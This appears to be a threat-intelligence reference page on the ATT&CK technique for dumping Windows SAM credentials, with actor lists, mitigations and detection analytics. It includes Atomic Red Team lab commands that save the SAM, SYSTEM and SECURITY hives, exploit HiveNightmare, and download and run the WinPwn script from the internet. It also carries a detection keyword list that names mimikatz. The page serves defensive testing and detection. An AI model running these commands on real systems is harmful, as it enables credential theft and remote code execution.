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ATT&CK Technique

Security Account Manager

T1003.002 · credential-access

Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the net user command. Enumerating the SAM database requires SYSTEM level access.

A number of tools can be used to retrieve the SAM file through in-memory techniques: pwdumpx.exe gsecdump Mimikatz secretsdump.py Alternatively, the SAM can be extracted from the Registry with Reg: reg save HKLM\sam sam reg save HKLM\system system Creddump7 can then be used to process the SAM database locally to retrieve hashes. Notes: RID 500 account is the local, built-in administrator. RID 501 is the guest account. * User accounts start with a RID of 1,000+.

Windows
◆

Actors Using This

14
north_koreaAndariel
chinaAPT10
chinaAPT17
chinaAPT1
russiaAPT28
russiaAPT29
chinaAPT31
iranAPT33
iranOilRig
iranAPT35
north_koreaAPT38
iranAPT39
chinaAPT3
chinaAPT40
◈

Likely Attack Path

Techniques the same actors pair with this one distinctively - those showing up among actors who use this technique noticeably more than across all actors (lift > 1.15), grouped by kill-chain phase. The × is that lift multiplier; the shared-actor count is in the tooltip. A near-universal technique pairs with everything at baseline, so its list is short by design.
reconnaissance earlier
T1592.002 · Software ×5.80T1589.001 · Credentials ×4.98T1595 · Active Scanning ×4.98T1595.002 · Vulnerability Scanning ×4.98T1589 · Gather Victim Identity Information ×4.41
persistence earlier
T1136.002 · Domain Account ×4.84T1136.001 · Local Account ×4.35
privilege-escalation earlier
T1546.008 · Accessibility Features ×5.80
credential-access same
T1555.004 · Windows Credential Manager ×5.80T1187 · Forced Authentication ×4.64
discovery later
T1087.003 · Email Account ×4.84
collection later
T1213.006 · Databases ×5.80
command-and-control later
T1008 · Fallback Channels ×4.84T1071.002 · File Transfer Protocols ×4.64
other same
T1006 · Direct Volume Access ×4.35
▸

Atomic Tests

8
Executable Atomic Red Team test cases for exercising this technique in a lab. Copy a command, run it on the listed platform, confirm your detections fire.
command_promptelevatedwindowsRegistry dump of SAM, creds, and secrets
Local SAM (SAM & System), cached credentials (System & Security) and LSA secrets (System & Security) can be enumerated via three registry keys. Then processed locally using https://github.com/Neohapsis/creddump7 Upon successful execution of this test, you will find three files named, sam, system and security in the %temp% directory. 
reg save HKLM\sam %temp%\sam
reg save HKLM\system %temp%\system
reg save HKLM\security %temp%\security
command_promptelevatedwindowsRegistry parse with pypykatz
Parses registry hives to obtain stored credentials. Will create a Python virtual environment within the External Payloads folder that can be deleted manually post test execution. 
"#{venv_path}\Scripts\pypykatz" live lsa
command_promptelevatedwindowsesentutl.exe SAM copy
Copy the SAM hive using the esentutl.exe utility This can also be used to copy other files and hives like SYSTEM, NTUSER.dat etc. 
esentutl.exe /y /vss #{file_path} /d #{copy_dest}/#{file_name}
powershellelevatedwindowsPowerDump Hashes and Usernames from Registry
Executes a hashdump by reading the hashes from the registry.
Write-Host "STARTING TO SET BYPASS and DISABLE DEFENDER REALTIME MON" -fore green
Import-Module "PathToAtomicsFolder\..\ExternalPayloads\PowerDump.ps1"
Invoke-PowerDump
command_promptwindowsdump volume shadow copy hives with certutil
Dump hives from volume shadow copies with the certutil utility, exploiting a vulnerability known as "HiveNightmare" or "SeriousSAM". This can be done with a non-admin user account. [CVE-2021-36934](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36934) 
for /L %a in (1,1,#{limit}) do @(certutil -f -v -encodehex "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy%a\Windows\System32\config\#{target_hive}" %temp%\#{target_hive}vss%a 2 >nul 2>&1) & dir /B %temp%\#{target_hive}vss*
powershellwindowsdump volume shadow copy hives with System.IO.File
Dump hives from volume shadow copies with System.IO.File. [CVE-2021-36934](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36934) 
1..#{limit} | % { 
 try { [System.IO.File]::Copy("\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy$_\Windows\System32\config\#{target_hive}" , "$env:TEMP\#{target_hive}vss$_", "true") } catch {}
 ls "$env:TEMP\#{target_hive}vss$_" -ErrorAction Ignore
}
powershellwindowsWinPwn - Loot local Credentials - Dump SAM-File for NTLM Hashes
Loot local Credentials - Dump SAM-File for NTLM Hashes technique via function of WinPwn
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
samfile -consoleoutput -noninteractive
command_promptelevatedwindowsDumping of SAM, creds, and secrets(Reg Export)
Local SAM (SAM & System), cached credentials (System & Security) and LSA secrets (System & Security) can be enumerated via three registry keys. Used reg export to execute this behavior Upon successful execution of this test, you will find three files named, sam, system and security in the %temp% directory. 
reg export HKLM\sam %temp%\sam
reg export HKLM\system %temp%\system
reg export HKLM\security %temp%\security
▣

Mitigations

4
MITRE ATT&CK mitigations - vendor-agnostic guidance for reducing exposure to this technique.
M1017User Training

User Training involves educating employees and contractors on recognizing, reporting, and preventing cyber threats that rely on human interaction, such as phishing, social engineering, and other manipulative techniques. Comprehensive training programs create a human firewall by empowering users to be an active component of the organization's cybersecurity defenses.

Create Comprehensive Training Programs
  • Design training modules tailored to the organization's risk profile, covering topics such as phishing, password management, and incident reporting.
  • Provide role-specific training for high-risk employees, such as helpdesk staff or executives.
Use Simulated Exercises
  • Conduct phishing simulations to measure user susceptibility and provide targeted follow-up training.
  • Run social engineering drills to evaluate employee responses and reinforce protocols.
Leverage Gamification and Engagement
  • Introduce interactive learning methods such as quizzes, gamified challenges, and rewards for successful detection and reporting of threats.
Incorporate Security Policies into Onboarding
  • Include cybersecurity training as part of the onboarding process for new employees.
  • Provide easy-to-understand materials outlining acceptable use policies and reporting procedures.
Regular Refresher Courses
  • Update training materials to include emerging threats and techniques used by adversaries.
  • Ensure all employees complete periodic refresher courses to stay informed.
Emphasize Real-World Scenarios
  • Use case studies of recent attacks to demonstrate the consequences of successful phishing or social engineering.
  • Discuss how specific employee actions can prevent or mitigate such attacks.
M1026Privileged Account Management

Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts). This includes restricting access, limiting the scope of permissions, monitoring privileged account usage, and ensuring accountability through logging and auditing.

Account Permissions and Roles
  • Implement RBAC and least privilege principles to allocate permissions securely.
  • Use tools like Active Directory Group Policies to enforce access restrictions.
Credential Security
  • Deploy password vaulting tools like CyberArk, HashiCorp Vault, or KeePass for secure storage and rotation of credentials.
  • Enforce password policies for complexity, uniqueness, and expiration using tools like Microsoft Group Policy Objects (GPO).
Multi-Factor Authentication (MFA)
  • Enforce MFA for all privileged accounts using Duo Security, Okta, or Microsoft Azure AD MFA.
Privileged Access Management (PAM)
  • Use PAM solutions like CyberArk, BeyondTrust, or Thycotic to manage, monitor, and audit privileged access.
Auditing and Monitoring
  • Integrate activity monitoring into your SIEM (e.g., Splunk or QRadar) to detect and alert on anomalous privileged account usage.
Just-In-Time Access
  • Deploy JIT solutions like Azure Privileged Identity Management (PIM) or configure ephemeral roles in AWS and GCP to grant time-limited elevated permissions.
Tools for Implementation Privileged Access Management (PAM)
  • CyberArk, BeyondTrust, Thycotic, HashiCorp Vault.
Credential Management
  • Microsoft LAPS (Local Admin Password Solution), Password Safe, HashiCorp Vault, KeePass.
Multi-Factor Authentication
  • Duo Security, Okta, Microsoft Azure MFA, Google Authenticator.
Linux Privilege Management
  • sudo configuration, SELinux, AppArmor.
Just-In-Time Access
  • Azure Privileged Identity Management (PIM), AWS IAM Roles with session constraints, GCP Identity-Aware Proxy.
M1027Password Policies

Set and enforce secure password policies for accounts to reduce the likelihood of unauthorized access. Strong password policies include enforcing password complexity, requiring regular password changes, and preventing password reuse.

Windows Systems
Use Group Policy Management Console (GPMC) to configure
  • Minimum password length (e.g., 12+ characters).
  • Password complexity requirements.
  • Password history (e.g., disallow last 24 passwords).
  • Account lockout duration and thresholds.
Linux Systems
Configure Pluggable Authentication Modules (PAM)
  • Use pam_pwquality to enforce complexity and length requirements.
  • Implement pam_tally2 or pam_faillock for account lockouts.
  • Use pwunconv to disable password reuse.
Password Managers
  • Enforce usage of enterprise password managers (e.g., Bitwarden, 1Password, LastPass) to generate and store strong passwords.
Password Blacklisting
  • Use tools like Have I Been Pwned password checks or NIST-based blacklist solutions to prevent users from setting compromised passwords.
Regular Auditing
  • Periodically audit password policies and account configurations to ensure compliance using tools like LAPS (Local Admin Password Solution) and vulnerability scanners.
Tools for Implementation Windows
  • Group Policy Management Console (GPMC): Enforce password policies.
  • Microsoft Local Administrator Password Solution (LAPS): Enforce random, unique admin passwords.
Linux/macOS
  • PAM Modules (pam_pwquality, pam_tally2, pam_faillock): Enforce password rules.
  • Lynis: Audit password policies and system configurations.
Cross-Platform
  • Password Managers (Bitwarden, 1Password, KeePass): Manage and enforce strong passwords.
  • Have I Been Pwned API: Prevent the use of breached passwords.
  • NIST SP 800-63B compliant tools: Enforce password guidelines and blacklisting.
M1028Operating System Configuration

Operating System Configuration involves adjusting system settings and hardening the default configurations of an operating system (OS) to mitigate adversary exploitation and prevent abuse of system functionality. Proper OS configurations address security vulnerabilities, limit attack surfaces, and ensure robust defense against a wide range of techniques.

Disable Unused Features
  • Turn off SMBv1, LLMNR, and NetBIOS where not needed.
  • Disable remote registry and unnecessary services.
Enforce OS-level Protections
  • Enable Data Execution Prevention (DEP), Address Space Layout Randomization (ASLR), and Control Flow Guard (CFG) on Windows.
  • Use AppArmor or SELinux on Linux for mandatory access controls.
Secure Access Settings
  • Enable User Account Control (UAC) for Windows.
  • Restrict root/sudo access on Linux/macOS and enforce strong permissions using sudoers files.
File System Hardening
  • Implement least-privilege access for critical files and system directories.
  • Audit permissions regularly using tools like icacls (Windows) or getfacl/chmod (Linux/macOS).
Secure Remote Access
  • Restrict RDP, SSH, and VNC to authorized IPs using firewall rules.
  • Enable NLA for RDP and enforce strong password/lockout policies.
Harden Boot Configurations
  • Enable Secure Boot and enforce UEFI/BIOS password protection.
  • Use BitLocker or LUKS to encrypt boot drives.
Regular Audits
  • Periodically audit OS configurations using tools like CIS Benchmarks or SCAP tools.
Tools for Implementation Windows
  • Microsoft Group Policy Objects (GPO): Centrally enforce OS security settings.
  • Windows Defender Exploit Guard: Built-in OS protection against exploits.
  • CIS-CAT Pro: Audit Windows security configurations based on CIS Benchmarks.
Linux/macOS
  • AppArmor/SELinux: Enforce mandatory access controls.
  • Lynis: Perform comprehensive security audits.
  • SCAP Security Guide: Automate configuration hardening using Security Content Automation Protocol.
Cross-Platform
  • Ansible or Chef/Puppet: Automate configuration hardening at scale.
  • OpenSCAP: Perform compliance and configuration checks.
◈

Detection Coverage

2/6 layers
Coverage across standard detection surfaces. Rows marked none have no rule of that type mapped. Some are real blind spots worth closing; others are simply not applicable to this technique (e.g. YARA matches malware files, not network behaviour).
Behavioral / log (Sigma) 28
Analytics (MITRE CAR) 1
Runtime / container (Falco) none
File / malware (YARA) none
Network (Suricata/Snort) none
Vuln scan (Nuclei) none
◈

CAR Analytics

1
MITRE Cyber Analytics Repository - field-tested detection logic for this technique, written as pseudocode/queries you adapt to your own SIEM (Splunk, Sentinel, EQL). Each is a ready starting point for a detection rule, not just a description.
CAR-2013-04-002Low coverageQuick execution of a series of suspicious commands

Certain commands are frequently used by malicious actors and infrequently used by normal users. By looking for execution of these commands in short periods of time, we can not only see when a malicious user was on the system but also get an idea of what they were doing.

Commands of interest
  • arp.exe.
  • at.exe.
  • attrib.exe.
  • cscript.exe.
  • dsquery.exe.
  • hostname.exe.
  • ipconfig.exe.
  • mimikatz.exe.
  • nbstat.exe.
  • net.exe.
  • netsh.exe.
  • nslookup.exe.
  • ping.exe.
  • quser.exe.
  • qwinsta.exe.
  • reg.exe.
  • runas.exe.
  • sc.exe.
  • schtasks.exe.
  • ssh.exe.
  • systeminfo.exe.
  • taskkill.exe.
  • telnet.exe.
  • tracert.exe.
  • wscript.exe.
  • xcopy.exe ### Output Description The host on which the commands were executed, the time of execution, and what commands were executed.
pseudocode
processes = search Process:Create
reg_processes = filter processes where (exe == "arp.exe" or exe == "at.exe" or exe == "attrib.exe"
 or exe == "cscript.exe" or exe == "dsquery.exe" or exe == "hostname.exe"
 or exe == "ipconfig.exe" or exe == "mimikatz.exe" or exe == "nbstat.exe"
 or exe == "net.exe" or exe == "netsh.exe" or exe == "nslookup.exe"
 or exe == "ping.exe" or exe == "quser.exe" or exe == "qwinsta.exe"
 or exe == "reg.exe" or exe == "runas.exe" or exe == "sc.exe"
 or exe == "schtasks.exe" or exe == "ssh.exe" or exe == "systeminfo.exe"
 or exe == "taskkill.exe" or exe == "telnet.exe" or exe == "tracert.exe"
 or exe == "wscript.exe" or exe == "xcopy.exe")
reg_grouped = group reg by hostname, ppid where(max time between two events is 30 minutes)
output reg_grouped
DNIF
_fetch * from event where $LogName=WINDOWS-SYSMON AND $EventID=1 AND $App=regex(arp\.exe|at\.exe|attrib\.exe|cscript\.exe|dsquery\.exe|hostname\.exe|ipconfig\.exe|mimikatz.exe|nbstat\.exe|net\.exe|netsh\.exe|nslookup\.exe|ping\.exe|quser\.exe|qwinsta\.exe|reg\.exe|runas\.exe|sc\.exe|schtasks\.exe|ssh\.exe|systeminfo\.exe|taskkill\.exe|telnet\.exe|tracert\.exe|wscript\.exe|xcopy\.exe)i group count_unique $App limit 100
>>_agg count
>>_checkif int_compare Count > 1 include
LogPoint
norm_id=WindowsSysmon event_id=1 image IN ["*\arp.exe", "*\at.exe", "*\attrib.exe", "*\cscript.exe", "*\dsquery.exe", "*\hostname.exe", "*\ipconfig.exe", "*\mimikatz.exe", "*\nbstat.exe", "*\net.exe", "*\netsh.exe", "*\nslookup.exe", "*\ping.exe", "*\quser.exe", "*\qwinsta.exe", "*\reg.exe", "*\runas.exe", "*\sc.exe", "*\schtasks.exe", "*\ssh.exe", "*\systeminfo.exe", "*\taskkill.exe", "*\telnet.exe", "*\tracert.exe", "*\wscript.exe", "*\xcopy.exe"]
| chart count() as cnt by host
| search cnt > 1
▣

Comply & Defend

NIST 800-53AC-02, AC-03, AC-05, AC-06, CA-07, CM-02, CM-05, CM-06, CM-07, IA-02, IA-05, SC-28, SC-39, SI-03, SI-04
D3FEND12 defensive techniques
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